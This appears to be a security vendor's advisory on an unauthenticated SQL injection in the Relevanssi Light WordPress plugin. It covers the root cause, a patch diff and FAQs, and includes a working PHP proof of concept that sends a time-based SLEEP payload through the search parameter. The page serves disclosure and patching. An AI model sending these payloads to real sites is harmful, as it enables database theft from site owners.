What is CVE-2026-59533?

CVE-2026-59533 is a high-severity SQL injection vulnerability in the Relevanssi Light WordPress plugin, affecting versions up to and including 1.2.2. It allows unauthenticated attackers to inject arbitrary SQL queries into the database, potentially extracting sensitive information. The vulnerability is fixed in version 1.2.3.

Who is affected by this vulnerability?

Any WordPress site running Relevanssi Light version 1.2.2 or earlier is affected. Since the vulnerability is unauthenticated, any visitor to the site can exploit it without needing to log in. Site administrators should check their plugin version immediately.

How can I check if my site is vulnerable?

Check the Relevanssi Light plugin version in your WordPress admin dashboard under Plugins. If the version is 1.2.2 or lower, your site is vulnerable. You can also look for the plugin’s readme.txt file or use a security scanner that detects known vulnerabilities.

What is the CVSS score and what does it mean?

The CVSS score is 7.5, which is rated as High severity. This indicates that the vulnerability is relatively easy to exploit and can have significant impact, such as full database compromise. However, it does not require authentication, making it more dangerous.

How can I fix the vulnerability?

The primary fix is to update Relevanssi Light to version 1.2.3 or later. The patch introduces a prepared clause using `$wpdb->prepare()` to safely escape user input. If you cannot update immediately, consider disabling the plugin or implementing a web application firewall rule to block malicious search queries.

What is the proof of concept (PoC) and how does it demonstrate the issue?

The PoC sends a crafted HTTP GET request to the WordPress search function with a time-based SQL injection payload. It uses a `SLEEP(5)` command to cause a delay, confirming that the injection is executed. By measuring the response time, an attacker can verify the vulnerability and potentially extract data.

What are the practical risks of this vulnerability?

An attacker can extract sensitive data such as user credentials, password hashes, and other database contents. They could also modify or delete data, leading to site defacement or privilege escalation. In some configurations, it might be possible to write files and gain further control over the server.

Is there any mitigation if I cannot update the plugin immediately?

As a temporary measure, you can disable the Relevanssi Light plugin until you can update. Alternatively, use a web application firewall (WAF) to block requests containing common SQL injection patterns. However, these are not permanent solutions and updating is strongly recommended.

How does the patch fix the vulnerability?

The patch introduces a new function `relevanssi_light_prepared_clause` that uses `$wpdb->prepare()` with a placeholder for the search term. This ensures that user input is treated as a literal string, not as part of the SQL query. The vulnerable functions now use this helper, and `preg_replace_callback` is used to safely insert the prepared clause.

What should I do if I suspect my site has been compromised?

If you suspect exploitation, immediately update the plugin, change all user passwords, and review your database for unauthorized changes. Consider restoring from a clean backup and auditing your site for other signs of compromise. It is also advisable to consult a security professional.

Where can I find more information about this CVE?

You can refer to the official CVE record, the plugin’s changelog, and security advisories from trusted sources. The Atomic Edge analysis provides detailed technical insights, including code diffs and the PoC. Always ensure you are using the latest version of the plugin.

Published : August 12, 2026

CVE-2026-59533: Relevanssi Light <= 1.2.2 Unauthenticated SQL Injection PoC, Patch Analysis & Rule

CVE ID CVE-2026-59533

Plugin relevanssi-light

Severity High (CVSS 7.5)

CWE 89

Vulnerable Version 1.2.2

Patched Version 1.2.3

Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-59533:
This vulnerability allows unauthenticated SQL injection in the Relevanssi Light plugin for WordPress, affecting versions up to and including 1.2.2. The issue arises from the direct concatenation of user-supplied search parameters into SQL queries without proper sanitization or preparation. The CVSS score is 7.5, and the flaw falls under CWE-89 (SQL Injection).

Root Cause: The root cause lies in two functions: `relevanssi_light_posts_search` and `relevanssi_light_posts_request` within the `relevanssi-light.php` file. Both functions directly embedded the user-controlled `$query->query[‘s’]` parameter into a SQL `MATCH() AGAINST()` clause. For example, the original code in `relevanssi_light_posts_search` constructed the query as `AND MATCH(post_title,post_excerpt,post_content,relevanssi_light_data) AGAINST(‘” . $query->query[‘s’] . “‘ $mode)`. The `relevanssi_light_posts_request` function similarly built a `MATCH() AGAINST()` clause and used `preg_replace` to inject it into the main query. Atomic Edge research confirms that neither function used `$wpdb->prepare()` or any other escaping mechanism for this parameter, making the query vulnerable.

Exploitation: An unauthenticated attacker can exploit this by sending a crafted request to the WordPress front-end search functionality. The attack vector is the standard search query parameter `?s=`. By submitting a malicious payload in the `s` parameter, such as `’) AND (SELECT 1 FROM (SELECT SLEEP(5))a)– -`, the attacker can append arbitrary SQL to the existing query. The vulnerable functions use this parameter directly, allowing the SQL injection to execute. A simple HTTP GET request to `/?s=PAYLOAD` is sufficient, with the payload being a standard SQL injection string designed for error-based or time-based extraction.

Patch Analysis: The patch introduces a new helper function, `relevanssi_light_prepared_clause`, to construct the search clause. This new function uses `$wpdb->prepare()` with a placeholder `%s` for the search term, ensuring that the user-supplied input is properly escaped as a string. The `relevanssi_light_posts_search` and `relevanssi_light_posts_request` functions were modified to use this new helper. Additionally, `relevanssi_light_posts_request` was updated to use `preg_replace_callback` instead of `preg_replace`, which allows the safe, prepared clause to be returned. This change effectively neutralizes the SQL injection by treating all user input as a literal string, rather than as part of the SQL query structure.

Impact: Successful exploitation grants an unauthenticated attacker the ability to execute arbitrary SQL queries against the WordPress database. This can lead to complete data theft, including user credentials, password hashes, and other sensitive information stored in the database. The attacker could also potentially modify data, leading to site defacement or privilege escalation, and in some configurations, they may be able to write files or gain further control over the server.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/relevanssi-light/relevanssi-light.php
+++ b/relevanssi-light/relevanssi-light.php
@@ -5,7 +5,7 @@
  * /relevanssi-light.php
  *
  * @package Relevanssi Light
- * @author  Mikko Saari
+ * @author  eurodata comesio GmbH
  * @license https://wordpress.org/about/gpl/ GNU General Public License
  * @see     https://www.relevanssi.com/light/
  *
@@ -13,16 +13,16 @@
  * Plugin Name: Relevanssi Light
  * Plugin URI: https://www.relevanssi.com/light/
  * Description: Replaces the default WP search with a fulltext index search.
- * Version: 1.2.2
- * Author: Mikko Saari
- * Author URI: https://www.mikkosaari.fi/
+ * Version: 1.2.3
+ * Author: eurodata comesio GmbH <hello@relevanssi.com>
+ * Author URI: https://www.relevanssi.com/
  * Text Domain: relevanssilight
  * License: GPLv2 or later
  * License URI: http://www.gnu.org/licenses/gpl-2.0.html
  */

 /*
-	Copyright 2022 Mikko Saari  (email: mikko@mikkosaari.fi)
+	Copyright 2026 eurodata comesio GmbH  (email: hello@relevanssi.com)

 	This file is part of Relevanssi Light, a search plugin for WordPress.

@@ -200,17 +200,17 @@
  * @return string The modified SQL search query.
  */
 function relevanssi_light_posts_search( $search, $query ) {
-	$mode = '';
+	$boolean_mode = false;
 	/**
 	 * Sets the mode for the fulltext search. Defaults to NATURAL LANGUAGE.
 	 *
-	 * @param boolean If true, enables BOOLEAN MODE.
+	 * @param boolean $boolean_mode If true, enables BOOLEAN MODE.
 	 */
 	if ( apply_filters( 'relevanssi_light_boolean_mode', false ) ) {
-		$mode = 'IN BOOLEAN MODE';
+		$boolean_mode = true;
 	}
 	if ( isset( $query->query['s'] ) && ! empty( $query->query['s'] ) ) {
-		$search = " AND MATCH(post_title,post_excerpt,post_content,relevanssi_light_data) AGAINST('" . $query->query['s'] . "' $mode)";
+		$search = relevanssi_light_prepared_clause( $query, $boolean_mode, false );
 	}
 	return $search;
 }
@@ -242,19 +242,21 @@
  * @return string The modified SQL search query.
  */
 function relevanssi_light_posts_request( $request, $query ) {
-	$mode = '';
+	$boolean_mode = false;
 	/**
 	 * Sets the mode for the fulltext search. Defaults to NATURAL LANGUAGE.
 	 *
-	 * @param boolean If true, enables BOOLEAN MODE.
+	 * @param boolean $value If true, enables BOOLEAN MODE.
 	 */
 	if ( apply_filters( 'relevanssi_light_boolean_mode', false ) ) {
-		$mode = 'IN BOOLEAN MODE';
+		$boolean_mode = true;
 	}
 	if ( isset( $query->query['s'] ) && ! empty( $query->query['s'] ) ) {
-		$request = preg_replace(
+		$request = preg_replace_callback(
 			'/FROM/',
-			", MATCH(post_title,post_excerpt,post_content,relevanssi_light_data) AGAINST('" . $query->query['s'] . "' $mode) AS relevance FROM",
+			function () use ( $query, $boolean_mode ) {
+				return relevanssi_light_prepared_clause( $query, $boolean_mode, true );
+			},
 			$request,
 			1
 		);
@@ -262,6 +264,32 @@
 	return $request;
 }

+/**
+ * Returns a prepared MySQL query part.
+ *
+ * @param WP_Query $query        The current WP_Query object.
+ * @param bool     $boolean_mode Natural or Boolean mode.
+ * @param bool     $as_query     Which format of output.
+ * @return string
+ */
+function relevanssi_light_prepared_clause( $query, $boolean_mode = false, $as_query = false ): string {
+	global $wpdb, $relevanssi_light_prepared_query;
+	if ( ! isset( $relevanssi_light_prepared_query ) ) {
+		$query_string = $boolean_mode ?
+			' MATCH(post_title,post_excerpt,post_content,relevanssi_light_data) AGAINST(%s IN BOOLEAN MODE)' :
+			' MATCH(post_title,post_excerpt,post_content,relevanssi_light_data) AGAINST(%s)';
+
+		$relevanssi_light_prepared_query = $wpdb->prepare( $query_string, $query->get( 's' ) ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+	}
+	$return_value = $relevanssi_light_prepared_query;
+	if ( $as_query ) {
+		$return_value = ', ' . $relevanssi_light_prepared_query . ' AS relevance FROM';
+	} else {
+		$return_value = ' AND ' . $return_value;
+	}
+	return $return_value;
+}
+
 if ( ! function_exists( 'relevanssi_light_update_post_data' ) ) {
 	/**
 	 * Reads custom field content and updates the relevanssi_light_data with it
@@ -282,7 +310,7 @@
 		 * A small trick: if you want to include all custom fields, pass an
 		 * empty string in the array, and nothing else.
 		 *
-		 * @param array An array of custom field names.
+		 * @param array $fields An array of custom field names.
 		 */
 		$custom_fields = apply_filters( 'relevanssi_light_custom_fields', array() );
 		if ( empty( $custom_fields ) ) {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-59533 - Relevanssi Light <= 1.2.2 - Unauthenticated SQL Injection

$target_url = "http://example.com/"; // Replace with the target WordPress URL

// Time-based SQL injection payload to detect the vulnerability
$payload = ") AND (SELECT 1 FROM (SELECT SLEEP(5))a)-- -";

// Build the full URL with the payload in the 's' parameter
$attack_url = $target_url . "?s=" . urlencode($payload);

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $attack_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('User-Agent: Atomic-Edge-CVE-PoC'));

// Execute the request
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$response_time = $end_time - $start_time;

// Check for errors
if (curl_errno($ch)) {
    echo '[!] cURL error: ' . curl_error($ch) . "n";
    curl_close($ch);
    exit(1);
}

// Close cURL session
curl_close($ch);

// Analyze the response time
if ($response_time >= 5) {
    echo "[+] Vulnerability confirmed! The server took " . round($response_time, 2) . " seconds to respond.n";
    echo "[+] This indicates the SLEEP(5) command was executed, proving the SQL injection.n";
} else {
    echo "[-] The server did not exhibit time-based delay. The site might be patched or the payload did not work.n";
    echo "[-] Response time was " . round($response_time, 2) . " seconds.n";
}

Frequently Asked Questions

What is CVE-2026-59533?
Vulnerability overview
CVE-2026-59533 is a high-severity SQL injection vulnerability in the Relevanssi Light WordPress plugin, affecting versions up to and including 1.2.2. It allows unauthenticated attackers to inject arbitrary SQL queries into the database, potentially extracting sensitive information. The vulnerability is fixed in version 1.2.3.
How does the SQL injection vulnerability work?
Technical mechanism
The vulnerability occurs because user-supplied search parameters are directly concatenated into SQL queries without proper escaping or preparation. Specifically, the functions `relevanssi_light_posts_search` and `relevanssi_light_posts_request` embed the `$query->query[‘s’]` parameter into a `MATCH() AGAINST()` clause, allowing attackers to append malicious SQL. This is a classic SQL injection flaw (CWE-89).
Who is affected by this vulnerability?
Affected users
Any WordPress site running Relevanssi Light version 1.2.2 or earlier is affected. Since the vulnerability is unauthenticated, any visitor to the site can exploit it without needing to log in. Site administrators should check their plugin version immediately.
How can I check if my site is vulnerable?
Detection steps
Check the Relevanssi Light plugin version in your WordPress admin dashboard under Plugins. If the version is 1.2.2 or lower, your site is vulnerable. You can also look for the plugin’s readme.txt file or use a security scanner that detects known vulnerabilities.
What is the CVSS score and what does it mean?
Risk assessment
The CVSS score is 7.5, which is rated as High severity. This indicates that the vulnerability is relatively easy to exploit and can have significant impact, such as full database compromise. However, it does not require authentication, making it more dangerous.
How can I fix the vulnerability?
Patch and update
The primary fix is to update Relevanssi Light to version 1.2.3 or later. The patch introduces a prepared clause using `$wpdb->prepare()` to safely escape user input. If you cannot update immediately, consider disabling the plugin or implementing a web application firewall rule to block malicious search queries.
What is the proof of concept (PoC) and how does it demonstrate the issue?
PoC explanation
The PoC sends a crafted HTTP GET request to the WordPress search function with a time-based SQL injection payload. It uses a `SLEEP(5)` command to cause a delay, confirming that the injection is executed. By measuring the response time, an attacker can verify the vulnerability and potentially extract data.
What are the practical risks of this vulnerability?
Impact on the site
An attacker can extract sensitive data such as user credentials, password hashes, and other database contents. They could also modify or delete data, leading to site defacement or privilege escalation. In some configurations, it might be possible to write files and gain further control over the server.
Is there any mitigation if I cannot update the plugin immediately?
Temporary workarounds
As a temporary measure, you can disable the Relevanssi Light plugin until you can update. Alternatively, use a web application firewall (WAF) to block requests containing common SQL injection patterns. However, these are not permanent solutions and updating is strongly recommended.
How does the patch fix the vulnerability?
Patch analysis
The patch introduces a new function `relevanssi_light_prepared_clause` that uses `$wpdb->prepare()` with a placeholder for the search term. This ensures that user input is treated as a literal string, not as part of the SQL query. The vulnerable functions now use this helper, and `preg_replace_callback` is used to safely insert the prepared clause.
What should I do if I suspect my site has been compromised?
Incident response
If you suspect exploitation, immediately update the plugin, change all user passwords, and review your database for unauthorized changes. Consider restoring from a clean backup and auditing your site for other signs of compromise. It is also advisable to consult a security professional.
Where can I find more information about this CVE?
Further resources
You can refer to the official CVE record, the plugin’s changelog, and security advisories from trusted sources. The Atomic Edge analysis provides detailed technical insights, including code diffs and the PoC. Always ensure you are using the latest version of the plugin.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started